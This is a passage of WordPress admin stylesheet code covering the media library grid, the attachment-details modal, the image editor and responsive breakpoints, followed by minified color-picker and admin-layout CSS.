		inset 0 0 0 7px #c3c4c7;
}

.media-frame.mode-grid .attachment.details {
	box-shadow:
		inset 0 0 0 3px #f0f0f1,
		inset 0 0 0 7px #4f94d4;
}

.media-frame.mode-grid.mode-select .attachment .thumbnail {
	opacity: 0.65;
}

.media-frame.mode-select .attachment.selected .thumbnail {
	opacity: 1;
}

.media-frame.mode-grid .media-toolbar {
	margin-bottom: 15px;
	height: auto;
}

.media-frame.mode-grid .media-toolbar select {
	margin: 0 10px 0 0;
}

.media-frame.mode-grid.mode-edit .media-toolbar-secondary > .select-mode-toggle-button {
	margin: 0 8px 0 0;
	vertical-align: middle;
}

.media-frame.mode-grid .attachments-browser .bulk-select {
	display: inline-block;
	margin: 0 10px 0 0;
}

.media-frame.mode-grid .search {
	margin-top: 0;
}

.media-frame-content .media-search-input-label {
	margin: 0 .2em 0 0;
	vertical-align: baseline;
}

.media-frame.mode-grid .media-search-input-label {
	position: static;
	margin: 0 .5em 0 0;
}

.attachments-browser .media-toolbar-secondary > .media-button {
	margin-right: 10px;
}

.media-frame.mode-select .attachments-browser.fixed .media-toolbar {
	position: fixed;
	top: 32px;
	left: auto;
	right: 20px;
	margin-top: 0;
}

.media-frame.mode-grid .attachments-browser {
	padding: 0;
}

.media-frame.mode-grid .attachments-browser .attachments {
	padding: 2px;
}

.media-frame.mode-grid .attachments-browser .no-media {
	color: #646970; /* same as no plugins and no themes */
	font-size: 18px;
	font-style: normal;
	margin: 0;
	padding: 100px 0 0;
	text-align: center;
}

/**
 * Attachment details modal
 */

.edit-attachment-frame {
	display: block;
	height: 100%;
	width: 100%;
}

.edit-attachment-frame .edit-media-header {
	overflow: hidden;
}

.upload-php .media-modal-close .media-modal-icon:before {
	content: "\f335";
	font-size: 22px;
}

.upload-php .media-modal-close,
.edit-attachment-frame .edit-media-header .left,
.edit-attachment-frame .edit-media-header .right {
	cursor: pointer;
	color: #787c82;
	background-color: transparent;
	height: 50px;
	width: 50px;
	padding: 0;
	position: absolute;
	text-align: center;
	border: 0;
	border-left: 1px solid #dcdcde;
	transition: color .1s ease-in-out, background .1s ease-in-out;
}

.upload-php .media-modal-close {
	top: 0;
	right: 0;
}

.edit-attachment-frame .edit-media-header .left {
	right: 102px;
}

.edit-attachment-frame .edit-media-header .right {
	right: 51px;
}

.edit-attachment-frame .media-frame-title {
	left: 0;
	right: 150px; /* leave space for prev/next/close */
}

.edit-attachment-frame .edit-media-header .right:before,
.edit-attachment-frame .edit-media-header .left:before {
	font: normal 20px/50px dashicons !important;
	display: inline;
	font-weight: 300;
}

.upload-php .media-modal-close:hover,
.upload-php .media-modal-close:focus,
.edit-attachment-frame .edit-media-header .left:hover,
.edit-attachment-frame .edit-media-header .right:hover,
.edit-attachment-frame .edit-media-header .left:focus,
.edit-attachment-frame .edit-media-header .right:focus {
	background: #dcdcde;
	border-color: #c3c4c7;
	color: #000;
	outline: none;
	box-shadow: none;
}

.upload-php .media-modal-close:focus,
.edit-attachment-frame .edit-media-header .left:focus,
.edit-attachment-frame .edit-media-header .right:focus {
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -2px;
}

.upload-php .media-modal-close:focus .media-modal-icon:before,
.upload-php .media-modal-close:hover .media-modal-icon:before {
	color: #000;
}

.edit-attachment-frame .edit-media-header .left:before {
	content: "\f341";
}

.edit-attachment-frame .edit-media-header .right:before {
	content: "\f345";
}

.edit-attachment-frame .edit-media-header [disabled],
.edit-attachment-frame .edit-media-header [disabled]:hover {
	color: #c3c4c7;
	background: inherit;
	cursor: default;
}

.edit-attachment-frame .media-frame-content,
.edit-attachment-frame .media-frame-router {
	left: 0;
}

.edit-attachment-frame .media-frame-content {
	border-bottom: none;
	bottom: 0;
	top: 50px;
}

.edit-attachment-frame .attachment-details {
	position: absolute;
	overflow: auto;
	top: 0;
	bottom: 0;
	right: 0;
	left: 0;
	box-shadow: inset 0 4px 4px -4px rgba(0, 0, 0, 0.1);
}

.edit-attachment-frame .attachment-media-view {
	float: left;
	width: 65%;
	height: 100%;
}

.edit-attachment-frame .attachment-media-view .thumbnail {
	box-sizing: border-box;
	padding: 16px;
	height: 100%;
}

.edit-attachment-frame .attachment-media-view .details-image {
	display: block;
	margin: 0 auto 16px;
	max-width: 100%;
	max-height: 90%;
	max-height: calc( 100% - 42px ); /* leave space for actions underneath */
	background-image: linear-gradient(45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7), linear-gradient(45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7);
	background-position: 0 0, 10px 10px;
	background-size: 20px 20px;
}

.edit-attachment-frame .attachment-media-view .details-image.icon {
	background: none;
}

.edit-attachment-frame .attachment-media-view .attachment-actions {
	text-align: center;
}

.edit-attachment-frame .wp-media-wrapper {
	margin-bottom: 12px;
}

.edit-attachment-frame input,
.edit-attachment-frame textarea {
	padding: 4px 8px;
	line-height: 1.42857143;
}

.edit-attachment-frame .attachment-info {
	overflow: auto;
	box-sizing: border-box;
	margin-bottom: 0;
	padding: 12px 16px 0;
	width: 35%;
	height: 100%;
	box-shadow: inset 0 4px 4px -4px rgba(0, 0, 0, 0.1);
	border-bottom: 0;
	border-left: 1px solid #dcdcde;
	background: #f6f7f7;
}

.edit-attachment-frame .attachment-info .details,
.edit-attachment-frame .attachment-info .settings {
	position: relative; /* RTL fix, #WP29352 */
	overflow: hidden;
	float: none;
	margin-bottom: 15px;
	padding-bottom: 15px;
	border-bottom: 1px solid #dcdcde;
}

.edit-attachment-frame .attachment-info .filename {
	font-weight: 400;
	color: #646970;
}

.edit-attachment-frame .attachment-info .thumbnail {
	margin-bottom: 12px;
}

.attachment-info .actions {
	margin-bottom: 16px;
}

.attachment-info .actions a {
	display: inline;
	text-decoration: none;
}

.copy-to-clipboard-container {
	display: flex;
	align-items: center;
	margin-top: 8px;
	clear: both;
}

.copy-to-clipboard-container .copy-attachment-url {
	white-space: normal;
}

.copy-to-clipboard-container .success {
	color: #007017;
	margin-left: 8px;
}

/*------------------------------------------------------------------------------
  14.2 - Image Editor
------------------------------------------------------------------------------*/
.wp_attachment_details .attachment-alt-text {
	margin-bottom: 5px;
}

.wp_attachment_details #attachment_alt {
	max-width: 500px;
	height: 3.28571428em;
}

.wp_attachment_details .attachment-alt-text-description {
	margin-top: 5px;
}

.wp_attachment_details label[for="content"] {
	font-size: 13px;
	line-height: 1.5;
	margin: 1em 0;
}

.wp_attachment_details #attachment_caption {
	height: 4em;
}

.describe .image-editor {
	vertical-align: top;
}

.imgedit-wrap {
	position: relative;
	padding-top: 10px;
}

.image-editor p,
.image-editor fieldset {
	margin: 8px 0;
}

.image-editor legend {
	margin-bottom: 5px;
}

.describe .imgedit-wrap .image-editor {
	padding: 0 5px;
}

.wp_attachment_holder div.updated {
	margin-top: 0;
}

.wp_attachment_holder .imgedit-wrap > div {
	height: auto;
}

.imgedit-panel-content {
	display: flex;
	flex-wrap: wrap;
	gap: 20px;
	margin-bottom: 20px;
}

.imgedit-settings {
	max-width: 400px; /* Prevent reflow when help info is expanded. */
}

.imgedit-group-controls > * {
	display: none;
}

.imgedit-panel-active .imgedit-group-controls > * {
	display: block;
}

.wp_attachment_holder .imgedit-wrap .image-editor {
	float: right;
	width: 250px;
}

.image-editor input {
	margin-top: 0;
	vertical-align: middle;
}

.imgedit-wait {
	position: absolute;
	top: 0;
	bottom: 0;
	width: 100%;
	background: #fff;
	opacity: 0.7;
	filter: alpha(opacity=70);
	display: none;
}

.imgedit-wait:before {
	content: "";
	display: block;
	width: 20px;
	height: 20px;
	position: absolute;
	left: 50%;
	top: 50%;
	margin: -10px 0 0 -10px;
	background: transparent url(../images/spinner.gif) no-repeat center;
	background-size: 20px 20px;
	transform: translateZ(0);
}

.no-float {
	float: none;
}

.media-disabled,
.image-editor .disabled {
	/* WCAG 1.4.3 Text or images of text that are part of an inactive user
	   interface component ... have no contrast requirement. */
	color: #a7aaad;
}

.A1B1 {
	overflow: hidden;
}

.wp_attachment_image .button,
.A1B1 .button {
	float: left;
}

.no-js .wp_attachment_image .button {
	display: none;
}

.wp_attachment_image .spinner,
.A1B1 .spinner {
	float: left;
}

.imgedit-menu .note-no-rotate {
	clear: both;
	margin: 0;
	padding: 1em 0 0;
}

.image-editor .imgedit-menu .button {
	display: inline-block;
	width: auto;
	min-height: 28px;
	font-size: 13px;
	line-height: 2;
	padding: 0 10px;
}

.imgedit-menu .button:after,
.imgedit-menu .button:before {
	font: normal 16px/1 dashicons;
	margin-right: 8px;
	speak: never;
	vertical-align: middle;
	position: relative;
	top: -2px;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.imgedit-menu .imgedit-rotate.button:after {
	content: '\f140';
	margin-left: 2px;
	margin-right: 0;
}

.imgedit-menu .imgedit-rotate.button[aria-expanded="true"]:after {
	content: '\f142';
}

.imgedit-menu .button.disabled {
	color: #a7aaad;
	border-color: #dcdcde;
	background: #f6f7f7;
	box-shadow: none;
	text-shadow: 0 1px 0 #fff;
	cursor: default;
	transform: none;
}

.imgedit-crop:before {
	content: "\f165";
}

.imgedit-scale:before {
	content: "\f211";
}

.imgedit-rotate:before {
	content: "\f167";
}

.imgedit-undo:before {
	content: "\f171";
}

.imgedit-redo:before {
	content: "\f172";
}

.imgedit-crop-wrap {
	position: relative;
}

.imgedit-crop-wrap img {
	background-image: linear-gradient(45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7), linear-gradient(45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7);
	background-position: 0 0, 10px 10px;
	background-size: 20px 20px;
}

.imgedit-crop-wrap {
	padding: 20px;
	background-image: linear-gradient(45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7), linear-gradient(45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7);
	background-position: 0 0, 10px 10px;
	background-size: 20px 20px;
}


.imgedit-crop {
	margin: 0 8px 0 0;
}

.imgedit-rotate {
	margin: 0 8px 0 3px;
}

.imgedit-undo {
	margin: 0 3px;
}

.imgedit-redo {
	margin: 0 8px 0 3px;
}

.imgedit-thumbnail-preview-group {
	display: flex;
	flex-wrap: wrap;
	column-gap: 10px;
}

.imgedit-thumbnail-preview {
	margin: 10px 8px 0 0;
}

.imgedit-thumbnail-preview-caption {
	display: block;
}

#poststuff .imgedit-group-top h2 {
	display: inline-block;
	margin: 0;
	padding: 0;
	font-size: 14px;
	line-height: 1.4;
}

#poststuff .imgedit-group-top .button-link {
	text-decoration: none;
	color: #1d2327;
}

.imgedit-applyto .imgedit-label {
	display: block;
	padding: .5em 0 0;
}

.imgedit-popup-menu,
.imgedit-help {
	display: none;
	padding-bottom: 8px;
}

.imgedit-panel-tools > .imgedit-menu {
	display: flex;
	column-gap: 4px;
	align-items: flex-start;
	flex-wrap: wrap;
}

.imgedit-popup-menu {
	width: calc( 100% - 20px );
	position: absolute;
	background: #fff;
	padding: 10px;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
}

.image-editor .imgedit-menu .imgedit-popup-menu button {
	display: block;
	margin: 2px 0;
	width: 100%;
	white-space: break-spaces;
	line-height: 1.5;
	padding-top: 3px;
	padding-bottom: 2px;
}

.imgedit-rotate-menu-container {
	position: relative;
}

.imgedit-help.imgedit-restore {
	padding-bottom: 0;
}

/* higher specificity than buttons */
.image-editor .imgedit-settings .imgedit-help-toggle,
.image-editor .imgedit-settings .imgedit-help-toggle:hover,
.image-editor .imgedit-settings .imgedit-help-toggle:active {
	border: 1px solid transparent;
	margin: -1px 0 0 -1px;
	padding: 0;
	background: transparent;
	color: #2271b1;
	font-size: 20px;
	line-height: 1;
	cursor: pointer;
	box-sizing: content-box;
	box-shadow: none;
}

.image-editor .imgedit-settings .imgedit-help-toggle:focus {
	color: #2271b1;
	border-color: #2271b1;
	box-shadow: 0 0 0 1px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.form-table td.imgedit-response {
	padding: 0;
}

.imgedit-submit-btn {
	margin-left: 20px;
}

.imgedit-wrap .nowrap {
	white-space: nowrap;
	font-size: 12px;
	line-height: inherit;
}

span.imgedit-scale-warn {
	display: flex;
	align-items: center;
	margin: 4px;
	gap: 4px;
	color: #b32d2e;
	font-style: normal;
	visibility: hidden;
	vertical-align: middle;
}

.imgedit-save-target {
	margin: 8px 0;
}

.imgedit-save-target legend {
	font-weight: 600;
}

.imgedit-group {
	margin-bottom: 20px;
}

.image-editor .imgedit-original-dimensions {
	display: inline-block;
}

.image-editor .imgedit-scale-controls input[type="text"],
.image-editor .imgedit-crop-ratio input[type="text"],
.image-editor .imgedit-crop-sel input[type="text"],
.image-editor .imgedit-scale-controls input[type="number"],
.image-editor .imgedit-crop-ratio input[type="number"],
.image-editor .imgedit-crop-sel input[type="number"] {
	width: 80px;
	font-size: 14px;
	padding: 0 8px;
}

.imgedit-separator {
	display: inline-block;
	width: 7px;
	text-align: center;
	font-size: 13px;
	color: #3c434a;
}

.image-editor .imgedit-scale-button-wrapper {
	margin-top: 0.3077em;
	display: block;
}

.image-editor .imgedit-scale-controls .button {
	margin-bottom: 0;
}

audio, video {
	display: inline-block;
	max-width: 100%;
}

.wp-core-ui .mejs-container {
	width: 100%;
	max-width: 100%;
}

.wp-core-ui .mejs-container * {
	box-sizing: border-box;
}

.wp-core-ui .mejs-time {
	box-sizing: content-box;
}

/* =Media Queries
-------------------------------------------------------------- */

/**
 * HiDPI Displays
 */
@media print,
  (min-resolution: 120dpi) {
	.imgedit-wait:before {
		background-image: url(../images/spinner-2x.gif);
	}
}

@media screen and (max-width: 782px) {
	.edit-attachment-frame input,
	.edit-attachment-frame textarea {
		line-height: 1.5;
	}
	
	.wp_attachment_details label[for="content"] {
		font-size: 14px;
		line-height: 1.5;
	}

	.wp_attachment_details textarea {
		line-height: 1.5;
	}

	.wp_attachment_details #attachment_alt {
		height: 3.375em;
	}

	.media-upload-form .media-item.error,
	.media-upload-form .media-item .error {
		font-size: 13px;
		line-height: 1.5;
	}

	.media-upload-form .media-item.error {
		padding: 1px 10px;
	}

	.media-upload-form .media-item .error {
		padding: 10px 0 10px 12px;
	}

	.image-editor .imgedit-scale input[type="text"],
	.image-editor .imgedit-crop-ratio input[type="text"],
	.image-editor .imgedit-crop-sel input[type="text"] {
		font-size: 16px;
		padding: 6px 10px;
	}

	.wp_attachment_holder .imgedit-wrap .imgedit-panel-content,
	.wp_attachment_holder .imgedit-wrap .image-editor {
		float: none;
		width: auto;
		max-width: none;
		padding-bottom: 16px;
	}

	.copy-to-clipboard-container .success {
		font-size: 14px;
	}

	/* Restructure image editor on narrow viewports. */
	.imgedit-crop-wrap img{
		width: 100%;
	}

	.media-modal .imgedit-wrap .imgedit-panel-content,
	.media-modal .imgedit-wrap .image-editor {
		position: initial !important;
	}

	.media-modal .imgedit-wrap .image-editor {
		box-sizing: border-box;
		width: 100% !important;
	}

	.image-editor .imgedit-scale-button-wrapper {
		display: inline-block;
	}
}

@media only screen and (max-width: 600px) {
	.media-item-wrapper {
		grid-template-columns: 1fr;
	}
}

/**
 * Media queries for media grid.
 */
@media only screen and (max-width: 1120px) {
	/* override for media-views.css */
	#wp-media-grid .wp-filter .attachment-filters {
		max-width: 100%;
	}
}

@media only screen and (max-width: 1000px) {
	/* override for forms.css */
	.wp-filter p.search-box {
		float: none;
		width: 100%;
		margin-bottom: 20px;
		display: flex;
	}

}

@media only screen and (max-width: 782px) {
	.media-frame.mode-select .attachments-browser.fixed .media-toolbar {
		top: 46px;
		right: 10px;
	}
}

@media only screen and (max-width: 600px) {
	.media-frame.mode-select .attachments-browser.fixed .media-toolbar {
		top: 0;
	}
}

@media only screen and (max-width: 480px) {
	.edit-attachment-frame .media-frame-title {
		right: 110px;
	}

	.upload-php .media-modal-close,
	.edit-attachment-frame .edit-media-header .left,
	.edit-attachment-frame .edit-media-header .right {
		width: 40px;
		height: 40px;
	}

	.edit-attachment-frame .edit-media-header .right:before,
	.edit-attachment-frame .edit-media-header .left:before {
		line-height: 40px !important;
	}

	.edit-attachment-frame .edit-media-header .left {
		right: 82px;
	}

	.edit-attachment-frame .edit-media-header .right {
		right: 41px;
	}

	.edit-attachment-frame .media-frame-content {
		top: 40px;
	}

	.edit-attachment-frame .attachment-media-view {
		float: none;
		height: auto;
		width: 100%;
	}

	.edit-attachment-frame .attachment-info {
		height: auto;
		width: 100%;
	}
}

@media only screen and (max-width: 640px), screen and (max-height: 400px) {
	.upload-php .mode-grid .media-sidebar{
		max-width: 100%;
	}
}
/*! This file is auto-generated */
.wp-color-picker{width:80px;direction:ltr}.wp-picker-container .hidden{display:none}.wp-picker-container .wp-color-result.button{min-height:30px;margin:0 6px 6px 0;padding:0 0 0 30px;font-size:11px}.wp-color-result-text{background:#f6f7f7;border-radius:0 2px 2px 0;border-left:1px solid #c3c4c7;color:#50575e;display:block;line-height:2.54545455;padding:0 6px;text-align:center}.wp-color-result:focus,.wp-color-result:hover{background:#f6f7f7;border-color:#8c8f94;color:#1d2327}.wp-color-result:focus:after,.wp-color-result:hover:after{color:#1d2327;border-color:#a7aaad;border-left:1px solid #8c8f94}.wp-picker-container{display:inline-block}.wp-color-result:focus{border-color:#4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8)}.wp-color-result:active{transform:none!important}.wp-picker-open+.wp-picker-input-wrap{display:inline-block;vertical-align:top}.wp-picker-input-wrap label{display:inline-block;vertical-align:top}.form-table .wp-picker-input-wrap label{margin:0!important}.wp-customizer .wp-picker-input-wrap .button.wp-picker-clear,.wp-customizer .wp-picker-input-wrap .button.wp-picker-default,.wp-picker-input-wrap .button.wp-picker-clear,.wp-picker-input-wrap .button.wp-picker-default{margin-left:6px;padding:0 8px;line-height:2.54545455;min-height:30px}.wp-picker-container .iris-square-slider .ui-slider-handle:focus{background-color:#50575e}.wp-picker-container .iris-picker{border-radius:0;border-color:#dcdcde;margin-top:6px}.wp-picker-container input[type=text].wp-color-picker{width:4rem;font-size:12px;font-family:monospace;line-height:2.33333333;margin:0;padding:0 5px;vertical-align:top;min-height:30px}.wp-color-picker::-webkit-input-placeholder{color:#646970}.wp-color-picker::-moz-placeholder{color:#646970;opacity:1}.wp-color-picker:-ms-input-placeholder{color:#646970}.wp-picker-container input[type=text].iris-error{background-color:#fcf0f1;border-color:#d63638;color:#000}.iris-picker .iris-strip .ui-slider-handle:focus,.iris-picker .ui-square-handle:focus{border-color:#3582c4;border-style:solid;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent}.iris-picker .iris-palette:focus{box-shadow:0 0 0 2px #3582c4}@media screen and (max-width:782px){.wp-picker-container input[type=text].wp-color-picker{width:5rem;font-size:16px;line-height:1.875;min-height:32px}.wp-customizer .wp-picker-container input[type=text].wp-color-picker{padding:0 5px}.wp-picker-input-wrap .button.wp-picker-clear,.wp-picker-input-wrap .button.wp-picker-default{padding:0 8px;line-height:2.14285714;min-height:32px}.wp-customizer .wp-picker-input-wrap .button.wp-picker-clear,.wp-customizer .wp-picker-input-wrap .button.wp-picker-default{padding:0 8px;font-size:14px;line-height:2.14285714;min-height:32px}.wp-picker-container .wp-color-result.button{padding:0 0 0 40px;font-size:14px;line-height:2.14285714}.wp-customizer .wp-picker-container .wp-color-result.button{font-size:14px;line-height:2.14285714}.wp-picker-container .wp-color-result-text{padding:0 14px;font-size:inherit;line-height:inherit}.wp-customizer .wp-picker-container .wp-color-result-text{padding:0 10px}}/*! This file is auto-generated */
#wpwrap{height:auto;min-height:100%;width:100%;position:relative;-webkit-font-smoothing:subpixel-antialiased}#wpcontent{height:100%;padding-right:20px}#wpcontent,#wpfooter{margin-right:160px}.folded #wpcontent,.folded #wpfooter{margin-right:36px}#wpbody-content{padding-bottom:65px;float:right;width:100%;overflow:visible}.inner-sidebar{float:left;clear:left;display:none;width:281px;position:relative}.columns-2 .inner-sidebar{margin-left:auto;width:286px;display:block}.columns-2 .inner-sidebar #side-sortables,.inner-sidebar #side-sortables{min-height:300px;width:280px;padding:0}.has-right-sidebar .inner-sidebar{display:block}.has-right-sidebar #post-body{float:right;clear:right;width:100%;margin-left:-2000px}.has-right-sidebar #post-body-content{margin-left:300px;float:none;width:auto}#col-left{float:right;width:35%}#col-right{float:left;width:65%}#col-left .col-wrap{padding:0 0 0 6px}#col-right .col-wrap{padding:0 6px 0 0}.alignleft{float:right}.alignright{float:left}.textleft{text-align:right}.textright{text-align:left}.clear{clear:both}.wp-clearfix:after{content:"";display:table;clear:both}.screen-reader-text,.screen-reader-text span,.ui-helper-hidden-accessible{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.button .screen-reader-text{height:auto}.screen-reader-text+.dashicons-external{margin-top:-1px;margin-right:2px}.screen-reader-shortcut{position:absolute;top:-1000em;right:6px;height:auto;width:auto;display:block;font-size:14px;font-weight:600;padding:15px 23px 14px;background:#f0f0f1;color:#2271b1;z-index:100000;line-height:normal}.screen-reader-shortcut:focus{top:-25px;color:#2271b1;box-shadow:0 0 2px 2px rgba(0,0,0,.6);text-decoration:none;outline:2px solid transparent;outline-offset:-2px}.hidden,.js .closed .inside,.js .hide-if-js,.js .wp-core-ui .hide-if-js,.js.wp-core-ui .hide-if-js,.no-js .hide-if-no-js,.no-js .wp-core-ui .hide-if-no-js,.no-js.wp-core-ui .hide-if-no-js{display:none}#menu-management .menu-edit,#menu-settings-column .accordion-container,.comment-ays,.feature-filter,.manage-menus,.menu-item-handle,.popular-tags,.stuffbox,.widget-inside,.widget-top,.widgets-holder-wrap,.wp-editor-container,p.popular-tags,table.widefat{border:1px solid #c3c4c7;box-shadow:0 1px 1px rgba(0,0,0,.04)}.comment-ays,.feature-filter,.popular-tags,.stuffbox,.widgets-holder-wrap,.wp-editor-container,p.popular-tags,table.widefat{background:#fff}body,html{height:100%;margin:0;padding:0}body{background:#f0f0f1;color:#3c434a;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:13px;line-height:1.4em;min-width:600px}body.iframe{min-width:0;padding-top:1px}body.modal-open{overflow:hidden}body.mobile.modal-open #wpwrap{overflow:hidden;position:fixed;height:100%}iframe,img{border:0}td{font-family:inherit;font-size:inherit;font-weight:inherit;line-height:inherit}a{color:#2271b1;transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out}a,div{outline:0}a:active,a:hover{color:#135e96}.wp-person a:focus .gravatar,a:focus,a:focus .media-icon img,a:focus .plugin-icon{color:#043959;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}#adminmenu a:focus{box-shadow:none;outline:1px solid transparent;outline-offset:-1px}.screen-reader-text:focus{box-shadow:none;outline:0}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}.wp-die-message,p{font-size:13px;line-height:1.5;margin:1em 0}blockquote{margin:1em}dd,li{margin-bottom:6px}h1,h2,h3,h4,h5,h6{display:block;font-weight:600}h1{color:#1d2327;font-size:2em;margin:.67em 0}h2,h3{color:#1d2327;font-size:1.3em;margin:1em 0}.update-core-php h2{margin-top:4em}.update-messages h2,.update-php h2,h4{font-size:1em;margin:1.33em 0}h5{font-size:.83em;margin:1.67em 0}h6{font-size:.67em;margin:2.33em 0}ol,ul{padding:0}ul{list-style:none}ol{list-style-type:decimal;margin-right:2em}ul.ul-disc{list-style:disc outside}ul.ul-square{list-style:square outside}ol.ol-decimal{list-style:decimal outside}ol.ol-decimal,ul.ul-disc,ul.ul-square{margin-right:1.8em}ol.ol-decimal>li,ul.ul-disc>li,ul.ul-square>li{margin:0 0 .5em}.ltr{direction:ltr}.code,code{font-family:Consolas,Monaco,monospace;direction:ltr;unicode-bidi:embed}code,kbd{padding:3px 5px 2px;margin:0 1px;background:#f0f0f1;background:rgba(0,0,0,.07);font-size:13px}.subsubsub{list-style:none;margin:8px 0 0;padding:0;font-size:13px;float:right;color:#646970}.subsubsub a{line-height:2;padding:.2em;text-decoration:none}.subsubsub a .count,.subsubsub a.current .count{color:#50575e;font-weight:400}.subsubsub a.current{font-weight:600;border:none}.subsubsub li{display:inline-block;margin:0;padding:0;white-space:nowrap}.widefat{border-spacing:0;width:100%;clear:both;margin:0}.widefat *{word-wrap:break-word}.widefat a,.widefat button.button-link{text-decoration:none}.widefat td,.widefat th{padding:8px 10px}.widefat thead td,.widefat thead th{border-bottom:1px solid #c3c4c7}.widefat tfoot td,.widefat tfoot th{border-top:1px solid #c3c4c7;border-bottom:none}.widefat .no-items td{border-bottom-width:0}.widefat td{vertical-align:top}.widefat td,.widefat td ol,.widefat td p,.widefat td ul{font-size:13px;line-height:1.5em}.widefat tfoot td,.widefat th,.widefat thead td{text-align:right;line-height:1.3em;font-size:14px}.updates-table td input,.widefat tfoot td input,.widefat th input,.widefat thead td input{margin:0 8px 0 0;padding:0;vertical-align:text-top}.widefat .check-column{width:2.2em;padding:6px 0 25px;vertical-align:top}.widefat tbody th.check-column{padding:9px 0 22px}.updates-table tbody td.check-column,.widefat tbody th.check-column,.widefat tfoot td.check-column,.widefat thead td.check-column{padding:11px 3px 0 0}.widefat tfoot td.check-column,.widefat thead td.check-column{padding-top:4px;vertical-align:middle}.update-php div.error,.update-php div.updated{margin-right:0}.js-update-details-toggle .dashicons{text-decoration:none}.js-update-details-toggle[aria-expanded=true] .dashicons::before{content:"\f142"}.no-js .widefat tfoot .check-column input,.no-js .widefat thead .check-column input{display:none}.column-comments,.column-links,.column-posts,.widefat .num{text-align:center}.widefat th#comments{vertical-align:middle}.wrap{margin:10px 2px 0 20px}.postbox .inside h2,.wrap [class$=icon32]+h2,.wrap h1,.wrap>h2:first-child{font-size:23px;font-weight:400;margin:0;padding:9px 0 4px;line-height:1.3}.wrap h1.wp-heading-inline{display:inline-block;margin-left:5px}.wp-header-end{visibility:hidden;margin:-2px 0 0}.subtitle{margin:0;padding-right:25px;color:#50575e;font-size:14px;font-weight:400;line-height:1}.subtitle strong{word-break:break-all}.wrap .add-new-h2,.wrap .add-new-h2:active,.wrap .page-title-action,.wrap .page-title-action:active{display:inline-block;position:relative;box-sizing:border-box;cursor:pointer;white-space:nowrap;text-decoration:none;text-shadow:none;top:-3px;margin-right:4px;border:1px solid #2271b1;border-radius:3px;background:#f6f7f7;font-size:13px;font-weight:400;line-height:2.15384615;color:#2271b1;padding:0 10px;min-height:30px;-webkit-appearance:none}.wrap .wp-heading-inline+.page-title-action{margin-right:0}.wrap .add-new-h2:hover,.wrap .page-title-action:hover{background:#f0f0f1;border-color:#0a4b78;color:#0a4b78}.page-title-action:focus{color:#0a4b78}.form-table th label[for=WPLANG] .dashicons,.form-table th label[for=locale] .dashicons{margin-right:5px}.wrap .page-title-action:focus{border-color:#3582c4;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent}.wrap h1.long-header{padding-left:0}.wp-dialog{background-color:#fff}#available-widgets .widget-top:hover,#widgets-left .widget-in-question .widget-top,#widgets-left .widget-top:hover,.widgets-chooser ul,div#widgets-right .widget-top:hover{border-color:#8c8f94;box-shadow:0 1px 2px rgba(0,0,0,.1)}.sorthelper{background-color:#c5d9ed}.ac_match,.subsubsub a.current{color:#000}.alternate,.striped>tbody>:nth-child(odd),ul.striped>:nth-child(odd){background-color:#f6f7f7}.bar{background-color:#f0f0f1;border-left-color:#4f94d4}.highlight{background-color:#f0f6fc;color:#3c434a}.wp-ui-primary{color:#fff;background-color:#2c3338}.wp-ui-text-primary{color:#2c3338}.wp-ui-highlight{color:#fff;background-color:#2271b1}.wp-ui-text-highlight{color:#2271b1}.wp-ui-notification{color:#fff;background-color:#d63638}.wp-ui-text-notification{color:#d63638}.wp-ui-text-icon{color:#8c8f94}img.emoji{display:inline!important;border:none!important;height:1em!important;width:1em!important;margin:0 .07em!important;vertical-align:-.1em!important;background:0 0!important;padding:0!important;box-shadow:none!important}#nav-menu-footer,#nav-menu-header,#your-profile #rich_editing,.checkbox,.control-section .accordion-section-title,.menu-item-handle,.postbox .hndle,.side-info,.sidebar-name,.stuffbox .hndle,.widefat tfoot td,.widefat tfoot th,.widefat thead td,.widefat thead th,.widget .widget-top{line-height:1.4em}.menu-item-handle,.widget .widget-top{background:#f6f7f7;color:#1d2327}.stuffbox .hndle{border-bottom:1px solid #c3c4c7}.quicktags{background-color:#c3c4c7;color:#000;font-size:12px}.icon32{display:none}#bulk-titles .ntdelbutton:before,.notice-dismiss:before,.tagchecklist .ntdelbutton .remove-tag-icon:before,.welcome-panel .welcome-panel-close:before{background:0 0;color:#787c82;content:"\f153";display:block;font:normal 16px/20px dashicons;speak:never;height:20px;text-align:center;width:20px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.welcome-panel .welcome-panel-close:before{margin:0}.tagchecklist .ntdelbutton .remove-tag-icon:before{margin-right:2px;border-radius:50%;color:#2271b1;line-height:1.28}.tagchecklist .ntdelbutton:focus{outline:0}#bulk-titles .ntdelbutton:focus:before,#bulk-titles .ntdelbutton:hover:before,.tagchecklist .ntdelbutton:focus .remove-tag-icon:before,.tagchecklist .ntdelbutton:hover .remove-tag-icon:before{color:#d63638}.tagchecklist .ntdelbutton:focus .remove-tag-icon:before{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.key-labels label{line-height:24px}b,strong{font-weight:600}.pre{white-space:pre-wrap;word-wrap:break-word}.howto{color:#646970;display:block}p.install-help{margin:8px 0;font-style:italic}.no-break{white-space:nowrap}hr{border:0;border-top:1px 